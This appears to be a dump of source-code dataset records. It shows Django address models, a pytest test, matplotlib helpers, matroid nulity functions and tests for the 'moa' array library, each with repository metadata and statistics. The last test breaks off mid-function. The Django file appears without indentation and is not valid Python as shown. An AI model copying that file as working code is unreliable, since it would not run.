wendell1101/EcommerceProject---Django
|
008396c283f887db528ca5c07de61a794feeb83b
|
[
"MIT"
] | null | null | null |
address/models.py
|
wendell1101/EcommerceProject---Django
|
008396c283f887db528ca5c07de61a794feeb83b
|
[
"MIT"
] | null | null | null |
from django.db import models
from customer_profiles.models import CustomerProfile
from django_countries.fields import CountryField
class BillingAddress(models.Model):
customer_profile = models.ForeignKey(CustomerProfile, on_delete=models.CASCADE)
house_number = models.CharField(max_length=120)
street = models.CharField(max_length=200)
barangay = models.CharField(max_length=200)
city = models.CharField(max_length=200)
province = models.CharField(max_length=200)
zip_code = models.CharField(max_length=200)
country = CountryField(blank_label='(select country)')
timestamp = models.DateTimeField(auto_now_add=True, blank=True)
def __str__(self):
return self.customer_profile.user.email
def get_full_address(self):
return f'{self.house_number}, {self.street}, {self.barangay}, {self.city} city, {self.province}, {self.country}'
class ShippingAddress(models.Model):
customer_profile = models.ForeignKey(CustomerProfile, on_delete=models.CASCADE)
house_number = models.CharField(max_length=120)
street = models.CharField(max_length=200)
barangay = models.CharField(max_length=200)
city = models.CharField(max_length=200)
province = models.CharField(max_length=200)
zip_code = models.CharField(max_length=200)
country = CountryField(blank_label='(select country)')
timestamp = models.DateTimeField(auto_now_add=True, blank=True)
def __str__(self):
return self.customer_profile.user.email
def get_full_address(self):
return f'{self.house_number}, {self.street}, {self.barangay}, {self.city} city, {self.province}, {self.country}'
class DefaultAddress(models.Model):
customer_profile = models.ForeignKey(CustomerProfile, on_delete=models.CASCADE)
house_number = models.CharField(max_length=120)
street = models.CharField(max_length=200)
barangay = models.CharField(max_length=200)
city = models.CharField(max_length=200)
province = models.CharField(max_length=200)
zip_code = models.CharField(max_length=200)
country = CountryField(blank_label='(select country)')
timestamp = models.DateTimeField(auto_now_add=True, blank=True)
def __str__(self):
return self.customer_profile.user.email
def get_full_address(self):
return f'{self.house_number}, {self.street}, {self.barangay}, {self.city} city, {self.province}, {self.country}'
| 41.220339
| 120
| 0.740132
| 305
| 2,432
| 5.688525
| 0.177049
| 0.15562
| 0.186744
| 0.248991
| 0.906628
| 0.906628
| 0.906628
| 0.906628
| 0.906628
| 0.906628
| 0
| 0.026049
| 0.147615
| 2,432
| 59
| 121
| 41.220339
| 0.810902
| 0
| 0
| 0.866667
| 0
| 0.066667
| 0.145499
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.133333
| false
| 0
| 0.066667
| 0.133333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 11
|
8db74fe4633bc461567089434129b039a5fcc0e0
| 213
|
py
|
Python
|
tests/test_exception.py
|
AustinScola/illud
|
a6aca1de38bbe9d5a795aaa084bcbd6731767d18
|
[
"MIT"
] | 1
|
2020-12-05T00:59:15.000Z
|
2020-12-05T00:59:15.000Z
|
tests/test_exception.py
|
AustinScola/illud
|
a6aca1de38bbe9d5a795aaa084bcbd6731767d18
|
[
"MIT"
] | 112
|
2021-01-15T21:42:27.000Z
|
2021-04-17T19:11:21.000Z
|
tests/test_exception.py
|
AustinScola/illud
|
a6aca1de38bbe9d5a795aaa084bcbd6731767d18
|
[
"MIT"
] | null | null | null |
"""Test illud.exception."""
from illud.exception import IlludException
def test_inheritance() -> None:
"""Test illud.exception.IlludException inheritance."""
assert issubclass(IlludException, Exception)
| 26.625
| 58
| 0.755869
| 21
| 213
| 7.619048
| 0.52381
| 0.2625
| 0.225
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122066
| 213
| 7
| 59
| 30.428571
| 0.855615
| 0.328639
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
30a6ca5f8e564d791241605a8e3135f8100d8bce
| 1,195
|
py
|
Python
|
main/reconstruction/nnmodel/lib/plot.py
|
awangga/braindecoding
|
97128a8346263c81c9ccd606cfa54b35dacd6ca1
|
[
"MIT"
] | null | null | null |
main/reconstruction/nnmodel/lib/plot.py
|
awangga/braindecoding
|
97128a8346263c81c9ccd606cfa54b35dacd6ca1
|
[
"MIT"
] | 1
|
2019-10-13T13:34:45.000Z
|
2019-10-13T14:23:51.000Z
|
main/reconstruction/nnmodel/lib/plot.py
|
awangga/braindecoding
|
97128a8346263c81c9ccd606cfa54b35dacd6ca1
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
import matplotlib.pyplot as plt
import matplotlib.cm as cm
def tigaKolomGambar(judul,sub1,gbr1,sub2,gbr2,sub3,gbr3):
for i in range(len(gbr3)):
fig, axs = plt.subplots(nrows=1, ncols=3, figsize=(12,4))
plt.sca(axs[0])
plt.imshow(gbr1[i], cmap=cm.gray)
plt.axis('off')
plt.title(sub1)
plt.sca(axs[1])
plt.imshow(gbr2[i], cmap=cm.gray)
plt.axis('off')
plt.title(sub2)
plt.sca(axs[2])
plt.imshow(gbr3[i], cmap=cm.gray)
plt.axis('off')
plt.title(sub3)
plt.suptitle(judul)
plt.show()
def duaKolomGambar(judul,sub1,gbr1,sub2,gbr2,sub3,gbr3):
for i in range(len(gbr3)):
fig, axs = plt.subplots(nrows=1, ncols=3, figsize=(12,4))
plt.sca(axs[0])
plt.imshow(gbr1[i], cmap=cm.gray)
plt.axis('off')
plt.title(sub1)
plt.sca(axs[1])
plt.imshow(gbr2[i], cmap=cm.gray)
plt.axis('off')
plt.title(sub2)
plt.sca(axs[2])
plt.imshow(gbr3[i], cmap=cm.gray)
plt.axis('off')
plt.title(sub3)
plt.suptitle(judul)
plt.show()
| 26.555556
| 65
| 0.542259
| 177
| 1,195
| 3.661017
| 0.254237
| 0.055556
| 0.083333
| 0.101852
| 0.854938
| 0.854938
| 0.854938
| 0.854938
| 0.854938
| 0.854938
| 0
| 0.050529
| 0.287866
| 1,195
| 44
| 66
| 27.159091
| 0.710928
| 0.017573
| 0
| 0.888889
| 0
| 0
| 0.015358
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.055556
| false
| 0
| 0.055556
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a505257ac1f78a81d24d3984448687f0d7275707
| 98
|
py
|
Python
|
openminer/entry/__init__.py
|
zhd785576549/openminer
|
72c25317504df1d1b30b7b654b44cebf02abc099
|
[
"MIT"
] | null | null | null |
openminer/entry/__init__.py
|
zhd785576549/openminer
|
72c25317504df1d1b30b7b654b44cebf02abc099
|
[
"MIT"
] | null | null | null |
openminer/entry/__init__.py
|
zhd785576549/openminer
|
72c25317504df1d1b30b7b654b44cebf02abc099
|
[
"MIT"
] | null | null | null |
from openminer.core.commands import execute_from_command
def main():
execute_from_command()
| 16.333333
| 56
| 0.795918
| 13
| 98
| 5.692308
| 0.692308
| 0.297297
| 0.486486
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.132653
| 98
| 5
| 57
| 19.6
| 0.870588
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
eb781b47159c8800465b6c5b2ebd8a30fcc88015
| 4,841
|
py
|
Python
|
matroids/construct/nulity_function.py
|
PotassiumIodide/matroid-theory-in-python
|
51c06ba728c9d9002234fe98b1bc84bffb86a0cb
|
[
"MIT"
] | 2
|
2020-11-27T09:51:49.000Z
|
2021-11-10T07:16:34.000Z
|
matroids/construct/nulity_function.py
|
PotassiumIodide/matroid-theory-in-python
|
51c06ba728c9d9002234fe98b1bc84bffb86a0cb
|
[
"MIT"
] | 1
|
2020-11-16T07:22:29.000Z
|
2020-11-16T07:22:29.000Z
|
matroids/construct/nulity_function.py
|
PotassiumIodide/matroid-theory-in-python
|
51c06ba728c9d9002234fe98b1bc84bffb86a0cb
|
[
"MIT"
] | null | null | null |
from typing import Callable, TypeVar
from matroids.core.set_operator import powset
from matroids.construct import independent_sets
T = TypeVar('T')
def from_independent_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by independent sets.
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by independent sets
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
_, Is = matroid
# n(X) = |X| - max{|I|: I ∈ Is, I ⊆ X}, ∀X ⊆ E.
return lambda X: len(X) - max(map(len, (I for I in Is if I <= X)))
def from_dependent_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by dependent sets.
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by dependent sets.
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, _ = matroid
return from_independent_matroid((E, independent_sets.from_dependent_matroid(matroid)))
def from_bases_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by bases.
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by dependent sets.
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, _ = matroid
return from_independent_matroid((E, independent_sets.from_bases_matroid(matroid)))
def from_circuits_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by circuits.
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by circuits.
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, _ = matroid
return from_independent_matroid((E, independent_sets.from_circuits_matroid(matroid)))
def from_rank_matroid(matroid: tuple[set[T], Callable[[set[T]], int]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by a rank function.
Args:
matroid (tuple[set[T], Callable[[set[T]], int]]): A matroid defined by a rank function
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, r = matroid
return lambda X: len(X) - r(X)
def from_closure_matroid(matroid: tuple[set[T], Callable[[set[T]], set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by a closure function.
Args:
matroid (tuple[set[T], Callable[[set[T]], set[T]]]): A matroid defined by a closure function
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, cl = matroid
# n(X) = |X| - min{ |I| : X ⊆ cl(I) }.
return lambda X: len(X) - min(len(I) for I in powset(E) if X <= cl(I))
def from_flats_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by flats.
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by flats.
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, _ = matroid
return from_independent_matroid((E, independent_sets.from_flats_matroid(matroid)))
def from_open_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by open sets.
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by open sets.
Returns:
Callable[[set[T]], int]: The nulity function of a matroid.
"""
E, _ = matroid
return from_independent_matroid((E, independent_sets.from_open_matroid(matroid)))
def from_hyperplanes_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by hyperplanes
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by hyperplanes
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, _ = matroid
return from_independent_matroid((E, independent_sets.from_hyperplanes_matroid(matroid)))
def from_spanning_matroid(matroid: tuple[set[T], list[set[T]]]) -> Callable[[set[T]], int]:
"""Construct a nulity function from a matroid defined by spanning sets.
Args:
matroid (tuple[set[T], list[set[T]]]): A matroid defined by spanning sets.
Returns:
Callable[[set[T]], int]: The nulity function of a given matroid.
"""
E, _ = matroid
return from_independent_matroid((E, independent_sets.from_spanning_matroid(matroid)))
| 35.335766
| 104
| 0.654204
| 706
| 4,841
| 4.40085
| 0.080737
| 0.07982
| 0.092694
| 0.106212
| 0.838429
| 0.800129
| 0.782427
| 0.763759
| 0.74831
| 0.712263
| 0
| 0
| 0.202438
| 4,841
| 137
| 105
| 35.335766
| 0.803419
| 0.498657
| 0
| 0.205882
| 0
| 0
| 0.000462
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.294118
| false
| 0
| 0.088235
| 0
| 0.676471
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
eb87e4289499aad1dd9c2557ac4f5f24bf2557ea
| 18,697
|
py
|
Python
|
tests/test_dnf.py
|
Quansight-Labs/python-moa
|
1f02519425ab0215896a5fb9be00631c20d34895
|
[
"BSD-3-Clause"
] | 22
|
2019-04-19T20:42:53.000Z
|
2022-02-03T20:42:48.000Z
|
tests/test_dnf.py
|
costrouc/python-moa
|
1f02519425ab0215896a5fb9be00631c20d34895
|
[
"BSD-3-Clause"
] | 15
|
2019-03-12T17:35:42.000Z
|
2019-05-20T20:15:14.000Z
|
tests/test_dnf.py
|
costrouc/python-moa
|
1f02519425ab0215896a5fb9be00631c20d34895
|
[
"BSD-3-Clause"
] | 2
|
2019-11-12T22:50:04.000Z
|
2020-04-24T15:56:43.000Z
|
import copy
import pytest
from moa import ast, dnf, testing
def test_add_indexing_node():
tree = ast.Node((ast.NodeSymbol.ARRAY,), (2, 3), ('A',), ())
symbol_table = {'A': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2, 3), None, (1, 2, 3, 4, 5, 6))}
expected_tree = ast.Node((ast.NodeSymbol.PSI,), (2, 3), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (2,), ('_a3',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (2, 3), ('A',), ())))
expected_symbol_table = {
'A': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2, 3), None, (1, 2, 3, 4, 5, 6)),
'_i1': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 2, 1)),
'_i2': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3, 1)),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2,), None, (ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i1',), ()), ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i2',), ()))),
}
testing.assert_transformation(tree, symbol_table, expected_tree, expected_symbol_table, dnf.add_indexing_node)
def test_matches_rule_simple():
tree = ast.Node((ast.NodeSymbol.ARRAY,), (2, 3), ('A',), ())
symbol_table = {'A': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2, 3), None, (1, 2, 3, 4, 5, 6))}
context = ast.create_context(ast=tree, symbol_table=symbol_table)
rule = ((ast.NodeSymbol.ARRAY,),)
assert dnf.matches_rule(rule, context)
def test_not_matches_rule_simple():
tree = ast.Node((ast.NodeSymbol.ARRAY,), (2, 3), ('A',), ())
symbol_table = {'A': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2, 3), None, (1, 2, 3, 4, 5, 6))}
context = ast.create_context(ast=tree, symbol_table=symbol_table)
rule = ((ast.NodeSymbol.PSI,),)
assert not dnf.matches_rule(rule, context)
def test_matches_rule_nested():
tree = ast.Node((ast.NodeSymbol.TRANSPOSE,), None, (), (
ast.Node((ast.NodeSymbol.ARRAY,), (2, 3), ('A',), ()),))
symbol_table = {'A': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2, 3), None, (1, 2, 3, 4, 5, 6))}
context = ast.create_context(ast=tree, symbol_table=symbol_table)
rule = ((ast.NodeSymbol.TRANSPOSE,), (((ast.NodeSymbol.ARRAY,),),))
assert dnf.matches_rule(rule, context)
def test_not_matches_rule_nested():
tree = ast.Node((ast.NodeSymbol.TRANSPOSE,), None, (), (
ast.Node((ast.NodeSymbol.ARRAY,), (2, 3), ('A',), ()),))
symbol_table = {'A': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2, 3), None, (1, 2, 3, 4, 5, 6))}
context = ast.create_context(ast=tree, symbol_table=symbol_table)
rule = ((ast.NodeSymbol.TRANSPOSE,), (((ast.NodeSymbol.TRANSPOSE,),),))
assert not dnf.matches_rule(rule, context)
def test_reduce_psi_psi():
symbol_table = {
'_i0': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3, 1)),
'_a1': ast.SymbolNode(ast.NodeSymbol.ARRAY, (1,), None, (ast.Node((ast.NodeSymbol.INDEX,), (), ('_i0',), ()),)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (3,), None, (1, 2, 3)),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (1,), ('_a1',), ()),
ast.Node((ast.NodeSymbol.PSI,), (4,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a3',), ())))))
expected_symbol_table = {
**symbol_table,
'_a4': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (1, 2, 3, ast.Node((ast.NodeSymbol.INDEX,), (), ('_i0',), ())))
}
expected_tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a4',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a3',), ())))
testing.assert_transformation(tree, symbol_table, expected_tree, expected_symbol_table, dnf._reduce_psi_psi)
def test_reduce_psi_assign():
symbol_table = {
'_a1': ast.SymbolNode((ast.NodeSymbol.ARRAY,), (1,), None, (0, 1, 2)),
'_a2': ast.SymbolNode((ast.NodeSymbol.ARRAY,), (1, 2, 3), None, None),
'_a3': ast.SymbolNode((ast.NodeSymbol.ARRAY,), (1, 2, 3), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3,), ('_a1',), ()),
ast.Node((ast.NodeSymbol.ASSIGN,), (1, 2, 3), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3), ('_a2',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3), ('_a3',), ())))))
expected_tree = ast.Node((ast.NodeSymbol.ASSIGN,), (), (), (
ast.Node((ast.NodeSymbol.PSI,), (), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3,), ('_a1',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3), ('_a2',), ()))),
ast.Node((ast.NodeSymbol.PSI,), (), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3,), ('_a1',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3), ('_a3',), ())))))
testing.assert_transformation(tree, symbol_table, expected_tree, symbol_table, dnf._reduce_psi_assign)
def test_reduce_psi_transpose():
symbol_table = {
'_i0': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3, 1)),
'_i1': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 2, 1)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (
ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i0',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i1',), ()), 1, 0)),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (1, 2, 3, 4), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.TRANSPOSE,), (4, 3, 2, 1), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a3',), ()),))))
expected_symbol_table = {
**symbol_table,
'_a4': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (0, 1, ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i1',), ()), ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i0',), ()))),
}
expected_tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a4',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (1, 2, 3, 4), ('_a3',), ())))
testing.assert_transformation(tree, symbol_table, expected_tree, expected_symbol_table, dnf._reduce_psi_transpose)
def test_reduce_psi_transposev():
symbol_table = {
'_a0': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (3, 2, 1, 1)),
'_a1': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (4, 2, 3, 1)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2, 3, 5, 7), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a0',), ()),
ast.Node((ast.NodeSymbol.TRANSPOSEV,), (7, 3, 5, 2), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a1',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (2, 3, 5, 7), ('_a2',), ())))))
expected_symbol_table = {
**symbol_table,
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (1, 2, 1, 3))
}
expected_tree = ast.Node((ast.NodeSymbol.PSI,), (), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a3',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (2, 3, 5, 7), ('_a2',), ())))
testing.assert_transformation(tree, symbol_table, expected_tree, expected_symbol_table, dnf._reduce_psi_transposev)
@pytest.mark.parametrize("operation", [
ast.NodeSymbol.PLUS, ast.NodeSymbol.MINUS,
ast.NodeSymbol.DIVIDE, ast.NodeSymbol.TIMES,
])
def test_reduce_psi_outer_plus_minus_times_divide_equal_shape(operation):
symbol_table = {
'_i0': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3, 1)),
'_i1': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 4, 1)),
'_i2': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 5, 1)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (
ast.Node((ast.NodeSymbol.INDEX,), (), ('_i0',), ()),
ast.Node((ast.NodeSymbol.INDEX,), (), ('_i1',), ()),
ast.Node((ast.NodeSymbol.INDEX,), (), ('_i2',), ()))),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (3,), None, None),
'_a4': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4, 5), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (4,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.DOT, operation), (3, 4, 5), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3,), ('_a3',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (4, 5), ('_a4',), ())))))
expected_symbol_table = {
**symbol_table,
'_a6': ast.SymbolNode(ast.NodeSymbol.ARRAY, (1,), None, (ast.Node((ast.NodeSymbol.INDEX,), (), ('_i0',), ()),)),
'_a7': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2,), None, (
ast.Node((ast.NodeSymbol.INDEX,), (), ('_i1',), ()),
ast.Node((ast.NodeSymbol.INDEX,), (), ('_i2',), ()),
)),
}
expected_tree = ast.Node((operation,), (0,), (), (
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (1,), ('_a6',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (3,), ('_a3',), ()))),
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (2,), ('_a7',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (4, 5), ('_a4',), ())))))
testing.assert_transformation(tree, symbol_table, expected_tree, expected_symbol_table, dnf._reduce_psi_outer_plus_minus_times_divide)
@pytest.mark.parametrize("operation", [
(ast.NodeSymbol.PLUS, ast.NodeSymbol.PLUS),
(ast.NodeSymbol.MINUS, ast.NodeSymbol.PLUS),
(ast.NodeSymbol.DIVIDE,ast.NodeSymbol.PLUS),
(ast.NodeSymbol.TIMES, ast.NodeSymbol.PLUS),
(ast.NodeSymbol.PLUS, ast.NodeSymbol.MINUS),
(ast.NodeSymbol.MINUS, ast.NodeSymbol.MINUS),
(ast.NodeSymbol.DIVIDE,ast.NodeSymbol.MINUS),
(ast.NodeSymbol.TIMES, ast.NodeSymbol.MINUS),
(ast.NodeSymbol.PLUS, ast.NodeSymbol.TIMES),
(ast.NodeSymbol.MINUS, ast.NodeSymbol.TIMES),
(ast.NodeSymbol.DIVIDE,ast.NodeSymbol.TIMES),
(ast.NodeSymbol.TIMES, ast.NodeSymbol.TIMES),
(ast.NodeSymbol.PLUS, ast.NodeSymbol.DIVIDE),
(ast.NodeSymbol.MINUS, ast.NodeSymbol.DIVIDE),
(ast.NodeSymbol.DIVIDE,ast.NodeSymbol.DIVIDE),
(ast.NodeSymbol.TIMES, ast.NodeSymbol.DIVIDE),
])
def test_reduce_psi_inner_plus_minus_times_divide_equal_shape(operation):
symbol_table = {
'_i0': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 3, 1)),
'_i1': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 5, 1)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4,), None, (
ast.Node((ast.NodeSymbol.INDEX,), (), ('_i0',), ()),
ast.Node((ast.NodeSymbol.INDEX,), (), ('_i1',), ()))),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (3, 4), None, None),
'_a4': ast.SymbolNode(ast.NodeSymbol.ARRAY, (4, 5), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (2,), ('_a2',), ()),
ast.Node((ast.NodeSymbol.DOT, *operation), (3, 5), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (3, 4), ('_a3',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (4, 5), ('_a4',), ())))))
expected_symbol_table = {
**symbol_table,
'_i5': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 4, 1)),
'_a6': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2,), None, (ast.Node((ast.NodeSymbol.INDEX,), (), ('_i0',), ()), ast.Node((ast.NodeSymbol.INDEX,), (), ('_i5',), ()))),
'_a7': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2,), None, (ast.Node((ast.NodeSymbol.INDEX,), (), ('_i5',), ()), ast.Node((ast.NodeSymbol.INDEX,), (), ('_i1',), ()))),
}
expected_tree = ast.Node((ast.NodeSymbol.REDUCE, operation[0]), (0,), ('_i5',), (
ast.Node((operation[1],), (0,), (), (
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (2,), ('_a6',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (3, 4), ('_a3',), ()))),
ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
ast.Node((ast.NodeSymbol.ARRAY,), (2,), ('_a7',), ()),
ast.Node((ast.NodeSymbol.ARRAY,), (4, 5), ('_a4',), ()))))),))
testing.assert_transformation(tree, symbol_table, expected_tree, expected_symbol_table, dnf._reduce_psi_inner_plus_minus_times_divide)
@pytest.mark.parametrize("operation", [
ast.NodeSymbol.PLUS, ast.NodeSymbol.MINUS,
ast.NodeSymbol.DIVIDE, ast.NodeSymbol.TIMES,
])
def test_reduce_psi_reduce_plus_minus_times_divide_equal_shape(operation):
symbol_table = {
'_i0': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 4, 1)),
'_i1': ast.SymbolNode(ast.NodeSymbol.INDEX, (), None, (0, 5, 1)),
'_a2': ast.SymbolNode(ast.NodeSymbol.ARRAY, (2,), None, (ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i0',), ()), ast.Node((ast.NodeSymbol.ARRAY,), (), ('_i1',), ()))),
'_a3': ast.SymbolNode(ast.NodeSymbol.ARRAY, (3, 4, 5), None, None),
}
tree = ast.Node((ast.NodeSymbol.PSI,), (0,), (), (
